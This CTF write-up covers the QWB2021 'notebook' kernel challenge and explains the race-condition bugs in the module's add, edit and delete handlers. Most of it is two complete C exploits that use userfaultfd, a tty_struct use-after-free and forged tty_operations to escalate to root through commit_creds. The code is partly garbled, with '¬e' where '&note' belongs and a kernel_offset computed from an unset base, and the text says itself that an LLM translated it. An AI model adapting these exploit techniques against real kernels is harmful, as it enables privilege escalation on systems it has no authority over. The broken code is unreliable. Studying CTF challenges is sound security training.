Kernel Pwn: Understanding RaceCondition from the QWB2021 Notebook
I am new to Kernel Pwn.
The related GitHub repository can be found by searching for qwb2021 on GitHub.
Analysis
noteadd

There is a very peculiar logic here: after obtaining the size, it first sets notebook[idx].size, and only if it is invalid does it revert it. It’s not hard to see that if some code relies on this size for further logic, there exists a race window where an invalid size could be changed to a valid one.
One might argue: isn’t this protected by a lock? Indeed. But who would take a read lock inside the write operation? As long as no write lock is held, multiple threads holding a read lock can access this critical region concurrently.
notedel

The logic here is also strange. It only clears v3->note if the size field exists. Therefore, if during deletion the note size is 0, it won’t be cleared. However, it holds a write lock, so there’s no direct UAF with add.
noteedit

For edit, it also takes a read lock and calls krealloc. If v5->size is 0, it will clear the note field. It’s important to note that there is no restriction on the new size here.
If one of our threads calls krealloc(0) and then gets stuck at copy_from_user, we effectively create a UAF. But since it still needs to check the size field afterward, we must restore it to proceed. If we continue with edit, we cannot stall at copy_from_user again because the allocation has already been done.
If we try to stall another realloc with the original size, the race window is too small: we must ensure size = v5->size remains the original size at that moment, and by the time if (size == newsize) is checked, our other thread must have completed realloc(0) and be waiting at copy_from_user.
Therefore, we can use noteadd instead, because it first changes the size and then performs copy_from_user. At this point, we can control the race window: we stall at the krealloc(0) copy_from_user, trigger add to change the size, and then resume to continue the exploit reliably.
notegift

It directly gives us the notebook, including heap addresses and more.
mynote_read

Read operation is not locked.
mynote_write

Write operation is also not locked.
Approach
1. userfaultfd + tty_struct
Using userfaultfd makes it easiest to trigger a UAF, as we can map the user buffer page to an anonymous region that causes a page fault on access, redirecting control to our handler.
Thus, we use tty_struct to leak kernel addresses and forge tty_operations for privilege escalation. During the write syscall, the rax register holds the tty_struct pointer, so we can place our ROP chain there and pivot the stack to our notebook, achieving full kernel code execution.
To orchestrate our race, we use semaphores.
- Add a chunk, then
editit to size0, causingcopy_from_userto page-fault and enter our handler. - In the handler, we signal
addto change the size, then re-trigger the fault to continue the exploit.
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <semaphore.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/syscall.h>
#define DEBUG 1
#include "kernel.h"
sem_t add_sem, edit_sem;
struct Note {
size_t idx;
size_t size;
void *content;
};
struct KNote {
void* ptr;
size_t size;
};
struct KNote notes[0x10];
pthread_t monitor_thread, add_thread, edit_thread;
char *uffd_buf;
int fd;
void add(int idx, int size, char *content) {
struct Note note;
note.idx = idx;
note.size = size;
note.content = content;
ioctl(fd, 0x100, ¬e);
}
void delete(int idx) {
struct Note note;
note.idx = idx;
ioctl(fd, 0x200, ¬e);
}
void edit(int idx, int size, char *content) {
struct Note note;
note.idx = idx;
note.size = size;
note.content = content;
ioctl(fd, 0x300, ¬e);
}
void gift(void *buf) {
struct Note note = {
.content = buf
};
ioctl(fd, 100, ¬e);
}
void note_read(int idx, void *buf) {
read(fd, buf, idx);
}
void note_write(int idx, void *buf) {
write(fd, buf, idx);
}
void stuck() {
puts("[+] Stuck");
sleep(100000);
}
void add_thread_func() {
sem_wait(&add_sem);
add(0, 0x20, uffd_buf);
}
void edit_thread_func() {
sem_wait(&edit_sem);
edit(0, 0, uffd_buf);
}
int main() {
int tty_fd;
size_t tty_buf[0x100];
save_status();
bind_cpu(0);
fd = open("/dev/notebook", O_RDWR);
if (fd < 0) {
perror("open fd");
exit(EXIT_FAILURE);
}
sem_init(&add_sem, 0, 0);
sem_init(&edit_sem, 0, 0);
uffd_buf = (char *) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfaultfd_with_default_handler(&monitor_thread, uffd_buf, 0x1000, stuck);
add(0, 0x20, "add");
edit(0, 0x2e0, "tty");
pthread_create(&add_thread, NULL, (void *)add_thread_func, NULL);
pthread_create(&edit_thread, NULL, (void *)edit_thread_func, NULL);
sem_post(&edit_sem);
sleep(1);
sem_post(&add_sem);
sleep(1);
puts("[+] UAF"); // 0->ptr = freed_chunk
tty_fd = open("/dev/ptmx", O_RDWR | O_NOCTTY);
note_read(0, tty_buf);
kernel_base = tty_buf[3] - 0xe8e440;
printf("[+] kernel_base = 0x%lx\n", kernel_base);
}
In this setup, we use two semaphores to coordinate. For pages that trigger faults, stuck suffices. Once we have a UAF, we simply use write for the privilege escalation.
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <semaphore.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/syscall.h>
#define DEBUG 1
#include "kernel.h"
size_t WORK_FOR_CPU_FN = 0xffffffff8109eb90;
size_t PREPARE_KERNEL_CRED = 0xffffffff810a9ef0;
size_t COMMIT_CREDS = 0xffffffff810a9b40;
char tmp_buf[0x1000];
sem_t add_sem, edit_sem;
struct Note {
size_t idx;
size_t size;
void *content;
};
struct KNote {
void* ptr;
size_t size;
};
struct KNote notes[0x10];
pthread_t monitor_thread, add_thread, edit_thread;
char *uffd_buf;
int fd;
void add(int idx, int size, char *content) {
struct Note note;
note.idx = idx;
note.size = size;
note.content = content;
ioctl(fd, 0x100, ¬e);
}
void delete(int idx) {
struct Note note;
note.idx = idx;
ioctl(fd, 0x200, ¬e);
}
void edit(int idx, int size, char *content) {
struct Note note;
note.idx = idx;
note.size = size;
note.content = content;
ioctl(fd, 0x300, ¬e);
}
void gift(void *buf) {
struct Note note = {
.content = buf
};
ioctl(fd, 100, ¬e);
}
void note_read(int idx, void *buf) {
read(fd, buf, idx);
}
void note_write(int idx, void *buf) {
write(fd, buf, idx);
}
void stuck() {
puts("[+] Stuck"); // stuck to prevent copy_from_user
sleep(100000);
}
void add_thread_func() {
sem_wait(&add_sem);
add(0, 0x60, uffd_buf);
}
void edit_thread_func() {
sem_wait(&edit_sem);
edit(0, 0, uffd_buf);
}
int main() {
int tty_fd;
size_t tty_buf[0x2e0], orig_tty_buf[0x2e0];
struct tty_operations fake_tty_ops;
save_status();
bind_cpu(0);
fd = open("/dev/notebook", O_RDWR);
if (fd < 0) {
perror("open fd");
exit(EXIT_FAILURE);
}
sem_init(&add_sem, 0, 0);
sem_init(&edit_sem, 0, 0);
uffd_buf = (char *) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfaultfd_with_default_handler(&monitor_thread, uffd_buf, 0x1000, stuck);
add(0, 0x20, "add");
edit(0, 0x2e0, "tty");
pthread_create(&add_thread, NULL, (void *)add_thread_func, NULL);
pthread_create(&edit_thread, NULL, (void *)edit_thread_func, NULL);
sem_post(&edit_sem);
sleep(1);
sem_post(&add_sem);
sleep(1);
puts("[+] UAF"); // 0->ptr = freed_chunk
tty_fd = open("/dev/ptmx", O_RDWR | O_NOCTTY);
note_read(0, tty_buf);
memcpy(orig_tty_buf, tty_buf, sizeof(tty_buf));
kernel_offset = tty_buf[3] - 0xe8e440 - kernel_base;
kernel_base = kernel_base + kernel_offset;
printf("[+] kernel_base = 0x%lx\n", kernel_base);
// fake tty_struct
add(1, 0x20, "fake tty ops");
edit(1, sizeof(struct tty_operations), "fake tty ops");
fake_tty_ops.ioctl = (void *)kernel_offset + WORK_FOR_CPU_FN;
note_write(1, &fake_tty_ops);
gift(notes);
printf("[+] tty_struct = %p\n", notes[0].ptr);
printf("[+] tty_operations = %p\n", notes[1].ptr);
tty_buf[4] = kernel_offset + PREPARE_KERNEL_CRED;
tty_buf[5] = 0;
tty_buf[3] = (size_t)notes[1].ptr;
note_write(0, tty_buf);
ioctl(tty_fd, 1, 1);
note_read(0, tty_buf);
tty_buf[4] = kernel_offset + COMMIT_CREDS;
tty_buf[5] = tty_buf[6];
note_write(0, tty_buf);
ioctl(tty_fd, 1, 1);
note_write(0, orig_tty_buf);
get_root_shell();
}
This Content is generated by LLM and might be wrong / incomplete, refer to Chinese version if you find something wrong.